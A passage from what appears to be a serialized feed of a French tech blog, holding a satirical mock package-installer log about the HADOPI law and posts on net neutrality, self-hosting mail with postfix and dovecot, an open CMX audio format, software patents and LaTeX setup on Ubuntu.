Il est nécessaire de prendre 70 heures de débats à l'Assemblée Nationale et un n
ombre indéterminé d'heures de propagande dans les médias.
Après cette opération, 500000€ d'argent public supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? O
Suppression de lib-presomption-d-innocence...
Suppression de lib-droits-de-la-defense...
Suppression de lib-separation-des-pouvoirs...
Suppression de lib-information-impartiale...
Réception de : 1 http://www.vivendi.fr lobby/control lib-bypass-constitution-fra
ncaise réceptionnés en 1s
Réception de : 2 http://www.vivendi.fr lobby/control lobby-vivendi réceptionnés
en 1s
Réception de : 3 http://www.vivendi.fr lobby/control lib-propagande réceptionnés
en 1s
Réception de : 4 http://www.sarkozy.fr util/rights lib-autorite-administrative-a
vec-tous-les-droits réceptionnés en 1s
Dépaquetage de lib-bypass-constitution-francaise...
Dépaquetage de lobby-vivendi...
I lobby-vivendi était déjà présent et très bien intégré au système.
Dépaquetage de lib-propagande...
Dépaquetage de lib-autorite-administrative-avec-tous-les-droits...
Génération de hadopi...
Refus de discussions...
Rejet des amendements proposés (utilisation du module anéfé-rejeté)...
Compilation de oofirewall...
Compilation de arguments-fallacieux...
Compilation de les-accords-de-l-elysee...
Compilation de les-ventes-de-cd-chutent-de-50%-et-celles-des-cassettes-audio-d
e-90%-c-est-inadmissible...
Compilation de la-creation-est-en-train-de-mourir-a-cause-de-gens-qui-attaquen
t-les-bateaux...
W Le module 5-gus-dans-un-garage semble poser des problèmes de compilation de ar
guments-fallacieux.
E Problème lors de la génération de hadopi : des composants cachés derrière des
rideaux sont apparus de manière inattendue. Réessayer [O/n] ? O
Pour éviter que le problème ne se reproduise, il est nécessaire de mettre à jour
le module deputes-godillots. Souhaitez-vous mettre à jour [O/n] ? O
Compilation de cope-rabat-les-troupes...
Compilation de laver-l-affront...
Mise à jour de deputes-godillots...
W De nombreux paquets de type amendement ralentissent l'installation d'hadopi.
L'installation de hadopi semble avoir réussi.
Vérification de la compatibilité avec la constitution française...
E Le module lib-bypass-constitution-francaise a été détecté par le conseil const
itutionnel.
E Le module répression a dû être désactivé pour protéger la constitution.
Installation obligatoire de internet-liberte-fondamentale.
Réception de : 1 http://www.constitution.fr rights internet-liberte-fondamentale
réceptionnés en 1s
Dépaquetage de internet-liberte-fondamentale...
albanel@majors$ for m in media; do echo 'Je prends acte de la décision du consei
l constitutionnel. 95% du texte a été validé.'; done
E lobby-vivendi panic détecté.
Prise en charge de l'erreur par sarkozy et lobby-vivendi.
exit
sarkozy@majors# deluser albanel
sarkozy@majors# ls gauche/corrompus/*
Trop de résultats ont été trouvés : affichage des premiers résultats.
jack_lang frederic_mitterrand
sarkozy@majors# adduser lang
> opération échouée
sarkozy@majors# adduser mitterrand
sarkozy@majors# su mitterrand
mitterrand@majors$ sudo /etc/init.d/pantind start
* Starting PantinServer [ OK ]
mitterrand@majors$ pantin -verbose
Attente des ordres...
Exécution à distance de "apt-get install hadopi2"...
L'installation du paquet hadopi2 peut corriger le problème. Tenter [O/n] ? O
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés :
ordonnance-penale negligence-caracterisee
on-vous-prend-vraiment-pour-des-cons
Les NOUVEAUX paquets suivants seront installés :
hadopi2 ordonnance-penale negligence-caracterisee
on-vous-prend-vraiment-pour-des-cons
Les paquets suivants seront mis à jour :
lib-bypass-constitution-francaise
0 mis à jour, 4 nouvellement installés, 0 à enlever et 1 non mis à jour.
Il est nécessaire de prendre 40 heures de débats à l'Assemblée Nationale.
Après cette opération, 300000€ d'argent public supplémentaires seront utilisés.
Souhaitez-vous continuer [O/n] ? O
Réception de : 1 http://justice-expeditive.fr tools ordonnance-penale réceptionn
és en 1s
Réception de : 2 http://justice-expeditive.fr tools negligence-caracterisee réce
ptionnés en 1s
Réception de : 3 http://habitudes.gouv.fr kernel on-vous-prend-vraiment-pour-des
-cons réceptionnés en 1s
Réception de : 4 http://henrard.fr control lib-bypass-constitution-francaise réc
eptionnés en 5 minutes
Dépaquetage de ordonnance-penale...
Dépaquetage de negligence-caracterisee...
Dépaquetage de on-vous-prend-vraiment-pour-des-cons...
I En fait ce module était déjà présent sur le système depuis un moment.
Dépaquetage de lib-bypass-constitution-francaise...
Paramétrage de on-vous-prend-vraiment-pour-des-cons...
Paramétrage de lib-bypass-constitution-francaise...
Génération de hadopi2...
Refus de TOUTES discussions (ignorer-analyses-pertinentes activé)...
Rejet de TOUS les amendements proposés (utilisation du module anéfé-rejeté-en-ra
fale)...
Le paquet arguments-fallacieux existait déjà, mais il nécessite maintenant les d
épendances arguments-fallacieux-negligence-caracterisee et arguments-fallacieux-
ordonnance-pénale. Installer [O/n] ? O
Réception de : 1 http://henrard.fr control arguments-fallacieux-negligence-carac
terisee réceptionnés en 2 jours
Réception de : 2 http://henrard.fr control arguments-fallacieux-ordonnance-pénal
e réceptionnés en 1 jour
Dépaquetage de arguments-fallacieux-negligence-caracterisee...
Dépaquetage de arguments-fallacieux-ordonnance-pénale...
W hadopi2-senat-1 est moins performant que hadopi-senat-*.
I deputes-godillots utilisé pour compiler le module vote-solennel.
W Problème éventuel de sécurité. Des éléments de compilation de vote-solennel on
t peut-être été contrôlés à distance : des incohérences entre leurs données et l
eurs actions ont été détectées.
La compilation de vote-solennel a réussi.
W L'installation de hadopi2-senat-2 a fonctionné, mais il semble que 90% du code
source du paquet n'ait pas été utilisé.
Compilation de vote-solennel-2...
I deputes-godillots fonctionne à merveille.
La compilation de vote-solennel-2 a réussi.
Vérification de la compatibilité avec la constitution française...
E Le module on-vous-prend-vraiment-pour-des-cons a fortement déplu au conseil co
nstitutionnel.
E Le paquet hadopi2 a été tagué "censuré" par le conseil constitutionnel.
Attente des ordres...
Ordre reçu de lobby-vivendi : créer une taxe sur les fournisseurs d'accès sans c
ontrepartie.
Résolution du problème trouver-des-arguments-bidons-pour-faire-passer-ça-et-refu
ser-la-contribution-créative en cours...
Réception de : 1 http://www.majors.fr help toubon réceptionnés en 1s
Réception de : 2 http://www.majors.fr help zelnik réceptionnés en 1s
Attente des ordres...
";s:7:"dateiso";s:15:"20090921_232953";}s:15:"20090905_114211";a:7:{s:5:"title";s:49:"Paquet telecom : neutralité du Net en danger !";s:4:"link";s:72:"http://blog.rom1v.com/2009/09/paquet-telecom-neutralite-du-net-en-danger";s:4:"guid";s:72:"http://blog.rom1v.com/2009/09/paquet-telecom-neutralite-du-net-en-danger";s:7:"pubDate";s:25:"2009-09-05T11:42:11+02:00";s:11:"description";s:0:"";s:7:"content";s:1771:"Ce court billet a pour but de relayer l’annonce publiée sur la Quadrature du Net : « Il est crucial de préserver la neutralité du net ».

Pour résumer, le « paquet telecom » (les directives européennes qui réglementent le marché des télécommunications) contient des dispositions contre la neutralité du Net. Heureusement, ce projet a été bloqué par l’adoption du fameux amendement 138, et les parties concernant la neutralité du Net peuvent encore être renégociées. C’est pourquoi il est important d’agir : tout est expliqué dans le paragraphe « Comment nous sauverons la neutralité du Net ».
Par ailleurs, pour faire le lien avec mon précédent billet, si vous êtes chez Orange par exemple, vous ne pouvez pas héberger votre propre serveur mail à cause du blocage du port 25 : c’est une atteinte à la neutralité du Net, car votre réseau n’est pas égal aux autres, vous ne pouvez pas envoyer de mails (sans passer par un serveur tiers). Ce n’est pas acceptable, faites-le savoir.
EDIT 03/10/2009 : Finalement, les dispositions portant atteinte à la neutralité du Net ne seront pas renégociées.
";s:7:"dateiso";s:15:"20090905_114211";}s:15:"20090816_215228";a:7:{s:5:"title";s:56:"Hébergez vos mails sur Ubuntu Server (et libérez-vous)";s:4:"link";s:82:"http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous";s:4:"guid";s:82:"http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous";s:7:"pubDate";s:25:"2009-08-16T21:52:28+02:00";s:11:"description";s:0:"";s:7:"content";s:9906:"Après avoir acheté un petit serveur pour y héberger ce dont j’avais besoin, mon objectif est d’héberger TOUT ce qui n’a rien à faire ailleurs. Et comme l’explique Benjamin Bayart dans sa désormais célèbre conférence Internet libre ou Minitel 2.0, toutes nos données personnelles entrent dans cette catégorie.
Mon blog est un bon exemple d’un contenu qui ne doit pas être hébergé ailleurs. La liste des flux RSS que je consulte aussi (c’est pourquoi j’ai installé tt-rss). Mon album photos à partager avec la famille également (j’ai installé gallery). Mais il restait le plus important : les mails.
Et c’est bien moins compliqué à installer que je ne l’imaginais !
Je vais donc présenter comment installer son propre serveur de mails sur
Ubuntu Server (si vous utilisez autre chose, ça ne devrait pas être bien dur
à adapter). Ainsi, vous pourrez avoir une jolie adresse login@mondomaine.
Je supposerai que vous avez déjà un nom de domaine et que vous savez ajouter des
enregistrements A et MX (généralement dans l’interface fournie par votre
registrar).
Pour mettre en place un serveur mail complet, nous avons besoin de deux choses : un serveur SMTP (qui gère le transport du courrier) et un serveur IMAP ou POP3 (permettant de se connecter à sa boîte aux lettres).
J’ai choisi respectivement postfix et dovecot (ceux par défaut dans Ubuntu Server).
Il est possible de faire tout un tas de choses compliquées, ici je vais aller au plus simple. Au final on obtiendra donc un compte mail par utilisateur système (avec son mot de passe système), un serveur SMTP et un accès IMAP, le tout sécurisé sur TLS. Le serveur SMTP ne pourra relayer les mails envoyés qu’à partir du réseau local.
Rajoutez deux records de type A à votre fichier de zones DNS (smtp et imap
– histoire de faire comme tout le monde, mais vous mettez ce que vous voulez –),
et ajoutez un record de type MX qui pointe vers votre enregistrement smtp
(smtp.rom1v.com. – n’oubliez pas le . à la fin –).
Il faut bien sûr ouvrir les ports sur le routeur et dans le pare-feu… Pour rappel :
Si vous n’avez pas déjà les paquets installés :
sudo apt-get install postfix dovecot-imapd
Si vous aviez déjà postfix :
sudo dpkg-reconfigure postfix
Vous obtenez un écran de configuration debconf qui va vous prendre par la main pour la configuration :

rom1v.com pour moi)rom pour moi)rom1v.com)127.0.0.0/8, 192.168.0.0/24 si votre réseau local
est 192.168.0.x+ (laisser par
défaut)allVous avez alors un fichier /etc/postfix/main.cf qui ressemble à ceci (sauf la
dernière ligne) :
myhostname = rom1v.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
mydestination = rom1v.com, rom-eeebox, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8, 192.168.0.0/24
mailbox_size_limit = 5368709120
recipient_delimiter = +
inet_interfaces = all
myorigin = /etc/mailname
inet_protocols = all
home_mailbox = Maildir/
Ajoutez donc la dernière ligne (c’est très important pour faire fonctionner IMAP).
Par défaut, les mails sont limités à 10Mio (ce qui paraît normal). Cependant, il
arrive toujours que quelqu’un dans votre entourage vous envoie 10 photos de 3Mio
chacune. Pour cela il faut ajouter dans /etc/postfix/main.cf la ligne suivante
(pour 50Mio) :
message_size_limit = 52428800
Voilà, le serveur SMTP est prêt :
sudo /etc/init.d/postfix restart
Il ne sera possible d’envoyer un mail qu’à partir des réseaux définis dans
mynetworks (c’est pour cela qu’il n’y a pas d’authentification par défaut).
Pour mettre en place une authentification plutôt que de limiter l’accès à une liste de réseaux, lisez ce billet.
Il y a deux choses à changer dans le fichier /etc/dovecot/dovecot.conf, tout
d’abord pour activer le protocole IMAP :
protocols = imap
Ensuite pour choisir le répertoire de stockage des mails pour les utilisateurs
(forcément ~/Maildir) :
mail_location = maildir:~/Maildir
Enfin, il faut préparer ce répertoire en exécutant la commande :
maildirmake.dovecot ~/Maildir
Pour forcer SSL/TLS :
ssl = required
Voilà, c’est fini :
sudo /etc/init.d/dovecot restart
Le serveur est configuré, nous pouvons maintenant l’utiliser.
Commençons par le tester grâce au paquet mailutils qui permet d’envoyer des
mails en ligne de commande :
sudo apt-get install mailutils
Directement sur le serveur :
$ mail login@mondomaine
Cc:
Subject: Mon premier serveur
Ça y'est, j'ai configuré mon premier serveur !
(terminer avec une nouvelle ligne suivi de Ctrl+D)
Le mail a dû arriver dans ~/Maildir/new.
Comme pour n’importe quelle adresse e-mail, il suffit de configurer le client (Evolution par exemple) en renseignant les champs demandés.
imap.rom1v.com (à adapter avec votre nom de domaine)smtp.rom1v.com (à adapter avec votre nom de domaine)Bien entendu, maintenant que vous hébergez vos mails, vous êtes responsables de
leur stockage, et donc des backups. Mais j’imagine que cela ne vous posera pas
de problèmes, car vous avez bien évidemment déjà mis en place un système (au
moins rsync) qui sauvegarde vos données sur une autre machine : il suffira
donc de rajouter le répertoire ~/Mailbox à la liste des répertoires
sauvegardés.
Si le serveur est déconnecté moins de 5 jours, ce n’est pas catastrophique, les mails ne seront probablement pas perdus, la majorité des serveurs SMTP tentent de renvoyer le courrier après un échec. Évidemment, si le serveur est éteint durant un mois, il n’y a pas de magie : pas de serveur, pas de mails…
Cette étape est pour moi un pas de plus vers un internet libre…
J’ai présenté ici le minimum vital, mais vous pouvez trouver des fonctionnalités à mettre en place (un webmail tel que RoundCube, un anti-spam, le tri des mails sur le serveur, une authentification SMTP…).
Amusez-vous bien !
";s:7:"dateiso";s:15:"20090816_215228";}s:15:"20090815_143229";a:7:{s:5:"title";s:49:"Format d'albums audio CMX : aidons les majors !";s:4:"link";s:73:"http://blog.rom1v.com/2009/08/format-d-albums-audio-cmx-aidons-les-majors";s:4:"guid";s:73:"http://blog.rom1v.com/2009/08/format-d-albums-audio-cmx-aidons-les-majors";s:7:"pubDate";s:25:"2009-08-15T14:32:29+02:00";s:11:"description";s:0:"";s:7:"content";s:10931:"Les majors ont annoncé la préparation d’un nouveau format audio : le CMX. Ce format numérique permettra de stocker en un seul fichier un album intégral accompagné de bonus comme la jaquette, les paroles, des clips vidéo et des contenus spécifiques pour les téléphones mobiles.
Critiqués depuis des années pour ne pas avoir su prendre le « virage du numérique », et après des actions contre-productives (fermeture de Napster, loi DADVSI, loi HADOPI…), ils semblent enfin proposer du nouveau : vendre des albums numériques avec des contenus supplémentaires. Enfin un peu d’innovation !
Je voudrais donc saluer cette démarche (même si elle arrive un peu tard), et les encourager pour que ce format puisse fonctionner. Pour cela, plusieurs critères essentiels doivent être respectés.
On acceptera ici sans discuter les hypothèses suivantes :
Je laisserai de côté, même si c’est essentiel pour la réussite du format, le fait de savoir si ces contenus numériques supplémentaires, en eux-mêmes, ont un intérêt aux yeux des consommateurs (après tout, on ne peut savoir tant que ça n’a pas été évalué).
À l’heure actuelle, nous n’en savons que très peu sur ce format, mais nous pouvons nous intéresser aux critères indispensables à sa réussite (dont nous avons des raisons de craindre qu’ils ne soient pas tous remplis).
Le but est clairement d’enrayer le partage de fichiers sur internet en proposant mieux. Il est donc indispensable que ce format ne soit pas moins bien que ses concurrents : aucun critère d’utilisation ne doit lui être défavorable à la fois face au partage de fichiers et face aux CD physiques. Seul le critère de prix pourra être « moins bon » (dans le cas du partage de fichiers), mais ce n’est pas un problème, les gens sont prêts à payer un album qu’ils aiment, à condition bien sûr de rester raisonnable (si l’album est vendu au format CMX à 25€, ce n’est même pas la peine d’aller plus loin).
Passons donc en revue les critères essentiels.
Tout fichier doit être lisible par tout logiciel ou matériel qui supporte ce format.
En particulier, aucune restriction d’usage (DRM) ne doit être intégrée au format, telle qu’un nombre de lectures limité, une lecture sur un nombre restreints d’appareils enregistrés, une vérification à effectuer tous les mois auprès d’un serveur sous peine d’empêcher la lecture (ce qui compromet la pérennité du contenu)…
L’intégration de DRM a déjà été testée (et protégée par la loi DADVSI, sous l’influence des majors justement), et elles ont eu exactement les effets attendus. Enfin, attendus de ceux qui ne se sont pas laissés aveugler par la croyance religieuse qu’il s’agissait d’une solution pour lutter contre le partage de fichiers : elles ont tué dans l’œuf la vente de contenus numériques et ont favorisé les échanges pairs à pairs. C’était pourtant évident : en tant que consommateur honnête, comment pouvez-vous accepter d’être restreint pour lire votre musique achetée légalement, alors que ceux qui se l’échangent (sur internet ou non, actuellement sans contrepartie pour les ayant droits) n’ont aucun problème ? Cela fait naturellement migrer des personnes qui voulaient acheter vers un contenu de « meilleure qualité » (avec un meilleur confort d’utilisation) mais sans rémunération pour les ayant droits.
Par analogie, supposons qu’il soit possible de trouver des livres gratuitement dans des entrepôts remplis de photocopieuses évoluées capables de dupliquer des ouvrages, qui fabriquent des livres tels que nous les connaissons (on peut les lire partout et quand on veut), mais sans rémunérer leurs auteurs. Et d’un autre côté, des magasins qui rémunèrent les auteurs (les livres sont donc payants). Pour tenter de contrer la copie, une entreprise innovante leur vante les mérites d’un papier d’une composition spéciale anti-copie : les fabricants utilisent donc ce papier pour leurs livres, ce qui rend difficile la photocopie (il faudra alors passer cinq minutes au lieu de deux pour dupliquer le livre la première fois). Le problème, c’est que ceux qui achètent ces livres sont pénalisés : le papier en question rend difficile la lecture quand la luminosité est un peu trop forte, il n’est possible de le lire qu’avec un angle compris entre -10° et +10°, et uniquement quand la température est comprise entre 15°C et 20°C. Dans de telles conditions, il est normal que de nombreuses personnes se tournent la première solution, c’est-à-dire des livres utilisables, quitte à ne pas rémunérer les auteurs (ou les intermédiaires)…
Le format de fichier doit être ouvert. Le format des contenus encapsulés aussi.
Le premier critère concernait directement des restrictions pour le consommateur, celui-ci concerne des restrictions pour les fournisseurs de solutions techniques permettant de lire le format (et donc au final également pour le consommateur). Bien évidemment, le non-respect du premier impliquera le non-respect du deuxième : les mesures de restriction d’usage ne peuvent être implémentées dans un format ouvert, ce sont deux concepts antagonistes.
Si ce critère n’était pas respecté, uniquement un nombre restreint de logiciels (liés à des accords commerciaux) supporterait ce format, et par conséquent uniquement sur les systèmes pour lesquels ils seraient conçus : le consommateur ne pourrait pas lire ce qu’il a acheté avec ses logiciels habituels ou son système habituel… alors qu’il le peut avec le partage de fichiers, il ne ferait donc pas l’effort de payer un album si c’est pour obtenir un contenu moins utilisable.
C’est d’ailleurs ce que veut proposer Apple : son propre format Cocktail (comme d’habitude avec cette firme, un format propriétaire ultra-fermé). Malheureusement, avec le quasi-monopole d’Apple sur les baladeurs numériques, ce format a une chance d’être assez diffusé (même si les utilisateurs n’en sont pas pleinement satisfait parce qu’ils ne peuvent pas le transférer sur un baladeur non-Apple, ceux qui ont uniquement un iPod et qui ne sont pas sensibilisés à ces problématiques s’en contenteront). Si Apple réussit son coup, cela pénalisera à la fois les consommateurs (puisqu’ils ne pourront pas lire la musique sur le support de leur choix) et les ayant-droits (puisqu’une grande partie des utilisateurs ne pourront pas utiliser ce format). Sans compter la confusion provoquée par la guerre des formats CMX contre Cocktail (chacun compatible avec un sous-ensemble différent de logiciels et matériels restreints), qui rendrait la situation non propice à la consommation. Et le partage de fichiers serait de plus en plus attractif face à ce qui serait appelée « l’offre légale ».
Le consommateur doit pouvoir manipuler le contenu comme il le souhaite (dans la limite des droits liés à la propriété intellectuelle).
En particulier, il doit pouvoir extraire une ou plusieurs pistes d’un album pour la mettre sur son baladeur, extraire les bonus tels que les paroles des chansons pour les transférer sur sa clé USB pour les imprimer au travail… (cela paraît assez naturel, si j’achète un journal ou un magazine, je peux en découper une page pour la mettre dans ma poche). Il doit également pouvoir créer lui-même un fichier de ce type, pour réaliser une compilation par exemple. De même, le contenu doit être convertible dans un autre format (tous les logiciels et matériels ne supporteront pas ce format, ne seraient-ce que parce qu’ils sont sortis avant).
Si ces critères n’étaient pas respectés, le format CMX serait moins bien à la fois que les CD et que ce qui est disponible sur les réseaux de partage de fichiers…
Ils le seront automatiquement si CMX est un format ouvert.
Proposons alors un format qui remplit tous ces critères.
Les meilleurs formats sont des formats simples. Nous pourrions imaginer que le
CMX soit une archive (un zip, un tar.gz ou autre) qui contienne une
arborescence normalisée (à la manière des .jar, des .ear…).
Par exemple, artiste-album.cmx serait une archive dont la structure pourrait
être :
/tracks pour les pistes audio de l’album ;/lyrics pour les paroles ;/videos pour les vidéos en bonus ;/documents pour des documents divers (biographie, photos, dates de 0;
concert…) ;/metadata pour les méta-données (date de l’album, nom des artistes,
éditeurs…) ;Chacun des contenus de cette archive devrait être un format ouvert.
Un format extrêmement simple, facile à mettre en œuvre et à utiliser même sans outils particuliers, et qui peut être exploité plus intelligemment par des outils spécifiques : une acceptation maximale par les utilisateurs.
Les critères de réussite présentés sont absolument nécessaires pour que le format soit un succès. Si un seul n’est pas respecté, le format CMX est voué à l’échec. Tout comme la loi DADVSI a été un échec. Tout comme l’échec est inscrit dans la loi HADOPI (sur les plans législatif, constitutionnel, technique, juridique, économique et commercial).
Cependant, elles ne seront peut-être pas suffisantes, la raison d’être des majors est de plus en plus mise en cause, même par certains artistes eux-mêmes (comme Radiohead). Et depuis l’explosion du numérique, ils font tout pour précipiter leur chute.
Espérons pour eux qu’ils suivront ces conseils…
Si vous pensez à d’autres critères, n’hésitez pas à les indiquer…
";s:7:"dateiso";s:15:"20090815_143229";}s:15:"20090812_230220";a:7:{s:5:"title";s:53:"Brevets logiciels : "patent" bénéfiques que ça…";s:4:"link";s:72:"http://blog.rom1v.com/2009/08/brevets-logiciels-patent-benefiques-que-ca";s:4:"guid";s:72:"http://blog.rom1v.com/2009/08/brevets-logiciels-patent-benefiques-que-ca";s:7:"pubDate";s:25:"2009-08-12T23:02:20+02:00";s:11:"description";s:0:"";s:7:"content";s:11713:"Microsoft, qui a toujours été favorable aux brevets logiciels, et qui le 4 août dernier a réussi à faire valider une demande de brevet relative à la gestion des documents XML, se voit maintenant interdit de vendre Microsoft Word aux États-Unis (et doit verser en plus 290 M$), car il viole un brevet détenu par la firme canadienne i4i (qui se prononce d’ailleurs “eye for eye”, “œil pour œil”).
Lorsqu’on lit ce genre d’information, l’ironie de la situation fait sourire, mais il ne faut pas oublier l’absurdité de cette notion de brevets logiciels…
Avant de revenir sur les brevets en général et sur les brevets logiciels en particulier, il est intéressant de voir le contenu de ce brevet « violé » par Microsoft : il illustre bien (en tout cas pour ceux qui s’y connaissent un peu) le type d’inventions géniales que protègent un brevet logiciel.
Bizarrement indisponible ici et là, le voici en pdf.
Après plein de blabla un peu rebutant sur l’intérêt de cette invention « innovanter », la description détaillée suivie d’exemples montre l’algorithme que ce brevet protège (pages 14 à 16). Le voici :
Start at Character Position zero.
Create storage space for the raw content.
Create storage space for a metacode map.
Set the elements in the map to zero.
Read characters until a metacode is encountered based on metacode detection criteria.
Copy the characters up to the start of the code into the mapped content storage or area.
Increase the character position by the number of characters placed into the mapped content area.
Create a new map element and place the code into it.
With the map element store the character position of the beginning of the code.
If there are more characters in the original then go to step 5.
Conversion is complete, store the metacode map and the mapped content.
Et à quoi ça sert? Tout simplement à séparer un document XML (qui contient donc des balises et du contenu) en deux documents, un qui contient le contenu sans balises, l’autre qui contient les balises et la position où les insérer dans le contenu.
Il s’agit donc de transformer ce document :
<Chapter><Title>The Secret Life of Data</Title><Para>Data is hostile.</Para>The End</Chapter>en d’une part :
The Secret Life of DataData is hostile. The End
et d’autre part :
1- <Chapter> : position 0
2- <Title> : position 0
3- </Title> : position 23
4- <Para> : position 23
5- </Para> : position 39
6- </Chapter> : position 46
Voilà, vous ne révez pas : ce brevet, qui coûte 290M$ à Microsoft et qui lui vaut l’interdiction de vendre Word aux USA, protège la séparation d’un document en deux documents…
Personne n’en doute après les débats sur Hadopi, ceux qui votent les lois ne sont pas des informaticiens… et ceux qui les écrivent sont en partie des lobbies influents. Pas étonnant avec ces protagonistes d’arriver à des lois absurdes…
Il faut savoir qu’un programme est composé de données et de traitements. Pour le réaliser, un développeur a à sa disposition des structures de données, qui varient un peu selon les API des langages utilisées, mais on retrouve globalement toujours les mêmes (tableaux, listes chaînées, tableaux associatifs…). Quand il veut réaliser une tâche complexe, le programmeur écrit des données dans une structure, en lit dans une autre, les combine… un simple jeu de déplacements de données d’une structure à une autre pour faire ce qu’il veut faire… des procédures qui sont bien connues et même détaillées par exemple dans The Art of Computer Programming.
Un peu comme en mathématiques, on a à notre disposition des chiffres, des
lettres (pour les variables par exemple), des fonctions (+, -, ×, ÷,
², √, sin, cos, =, ≠, <, >…), on les combine pour obtenir des
équations :
Breveter le fait spécifique de séparer les données de manière à avoir les
balises d’un côté et le contenu de l’autre, c’est un peu comme si en
mathématiques on brevetait le fait de combiner la somme des carrés de deux
nombres avec la fonction racine carrée √(a²+b²), parce qu’après tout M.
Pythagore il aimerait bien en tirer profit de sa découverte, c’est normal, non?
Donc à partir de maintenant, si vous voulez connaître l’hypothénuse d’un triangle rectangle à partir de ses deux autres côtés, et bien il va falloir payer, sinon c’est le procès. Vous avez bien compris, mesdames et messieurs les architectes ?
Bon, finalement, ce n’est pas si grave, √(a²+b²) est breveté, mais
√((a+b)²-2ab) ne l’est pas, youhou \o/
Eh oui, parce qu’un algorithme breveté c’est bien gentil, mais on peut arriver au même résultat par un algorithme différent. Par exemple, dans l’algorithme décrit précédemment, pour séparer les balises et le contenu, je fais un premier passage pour trouver toutes les balises, et un second passage pour trouver leur position, et je n’enfreins plus le brevet. On pourrait me rétorquer qu’un brevet protège des algorithmes équivalents, auquel cas je demanderais la définition précise de l’équivalence entre deux algorithmes (avec comme exemple l’algorithme de compression JPEG)…
Et si un brevet protègeait effectivement des « algorithmes équivalents » (si un juriste lit ce billet…), il s’agirait donc d’un brevet sur une idée (ici la séparation des balises et du contenu d’un XML en deux documents séparés).
Pour prendre une autre analogie plus simple, on est dans le même cas qu’une partition de musique : un musicien sait jouer des notes, un compositeur peut agencer les notes dans l’ordre qu’il veut pour faire une mélodie. Mais voilà qu’un compositeur a trouvé que la suite de note do-mi-sol c’était très bien, il dépose donc un brevet dessus. Maintenant, tous ceux qui veulent utiliser ces 3 notes à la suite devront payer ou subir un procès… Les brevets logiciels sont un cas tout aussi stupide.
Mettons de côté l’absurdité technique, car après tout, « la technique, on s’en fiche1 ».
Un brevet, ça sert à protéger une invention. Pourquoi? Pour favoriser l’innovation.
Effectivement, sans brevets, comment une entreprise pourrait investir des millions d’euros pour trouver quelque chose (une nouvelle molécule pour fabriquer un médicament par exemple) si aussitôt découvert, tous les concurrents pouvaient en faire commerce ? Il est donc important de protéger l’innovation, pour une durée limitée (généralement 20 ans2).
qui eux ont réussi à obtenir 70 ans de protection des droits patrimoniaux…
Les brevets ont donc une raison d’être.
Pour être brevetable, une invention doit cependant répondre à trois critères essentiels (cf wikipedia) :
Elle doit être nouvelle, c’est-à-dire que rien d’identique n’a jamais été accessible à la connaissance du public, par quelque moyen que ce soit (écrit, oral, utilisation, …), où que ce soit, quand que ce soit.
Sa conception doit être inventive, c’est-à-dire qu’elle ne peut pas découler de manière évidente de l’état de la technique, pour une personne connaissant le domaine technique concerné.
Elle doit être susceptible d’une application industrielle, c’est-à-dire qu’elle peut être utilisée ou fabriquée de manière industrielle (ce qui exclut les œuvres d’art ou d’artisanat, par exemple).
C’est d’ailleurs sur ce troisième point que l’Europe refuse les brevets logiciels3, car elle considère que les logiciels sont des « créations de l’esprit ».
Pour les deux premiers points, des techniques nouvelles et inventives, lorsqu’il s’agit de traiter et de stocker des données sur une certaine forme, on peut en trouver une infinité… Il suffit de les breveter et faire des procès à ceux qui par inadvertance utilisent la même procédure. Et les brevets, ça rapporte !
Certaines sociétés l’ont bien compris, et se constituent des portefeuilles de brevets, leur seule raison d’exister étant de permettre de faire des procès.
Le logiciel est protégé par la loi sur les droits d’auteur. La loi sur les brevets, par contre, a peu à voir avec la protection. Au contraire, le droit des brevets met grandement en danger les vrais innovateurs parce que leurs créations indépendantes pourraient être attaquées par des racketteurs et des concurrents malveillants.
Je ne vais pas présenter LaTeX. Si vous ne connaissez pas, je vous renvoie sur la page LaTeX de Wikipedia.

Je vais plutôt présenter succintement l’installation de LaTeX et d’un éditeur pour Ubuntu, puis je vais lister les quelques points basiques qui peuvent poser problème et qui empoisonnent la vie quand on n’a pas de solutions :
Il faut tout d’abord installer le minimum : texlive.
Pour pouvoir gérer correctement le français, texlive-lang-french est
nécessaire.
Il est conseillé d’installer également texlive-latex-extra, qui contient pas
mal de greffons bien utiles.
Enfin, pour avoir des polices vectorielles (et non bitmap, qui sont pixellisées
lors d’un zoom), il faut le paquet lmodern.
sudo apt-get install texlive texlive-lang-french texlive-latex-extra lmodern
Depuis Jaunty, le greffon LaTeX pour gedit est packagé dans les dépôts par
défaut : gedit-latex-plugin.
Une fois installé, gedit s’enrichit d’une barre d’outil (lorsqu’un document
.tex est ouvert) et d’un panneau inférieur (Ctrl+F9 pour l’activer et le
désactiver) :

Pour compiler le document, rien de plus simple, tout est dans le menu Outils :

Par défaut, si aucune raison particulière ne préconise le contraire, tout texte devrait être encodé en UTF-8 : ça tombe bien, c’est l’encodage par défaut d’Ubuntu.
Si un jour vous rencontrez un problème d’encodage dans n’importe quel domaine, et que sur un forum quelqu’un vous indique que pour le résoudre, il faut changer l’encodage en latin1 (iso-8859-1), ne suivez pas son conseil, ça n’est pas une bonne solution (à part pour des problèmes de compatibilité avec un existant très vétuste).
Il faut indiquer au compilateur LaTeX que le document source est encodé en UTF-8. Pour cela, il suffit de rajouter dans l’en-tête la ligne suivante :
\usepackage[utf8]{inputenc}Maintenant que l’encodage est correctement reconnu, il reste un petit problème
avec les caractères accentués. Lorsqu’on écrit le caractère é par exemple,
le compilateur sait le reconnaître (codage UTF-8), mais l’encodage de la police
par défaut ne permet pas de le dessiner directement : elle ne contient pas ce
caractère. Pour contourner le problème, le compilateur écrit un e avec un '
au-dessus (\'e).
À première vue, ça n’est pas gênant, le rendu est nickel. Sauf que cela pose deux problèmes :
Pour éviter le problème, il faut rajouter dans l’en-tête :
\usepackage[T1]{fontenc}Le package hyperref est quasiment incontournable pour générer des PDF, il
permet de personnaliser pas mal de choses, et surtout de faire des liens
cliquables (à l’intérieur du document ou vers une url externe)… Pour l’utiliser,
il suffit de rajouter le package dans l’en-tête, auquel on peut spécifier des
options :
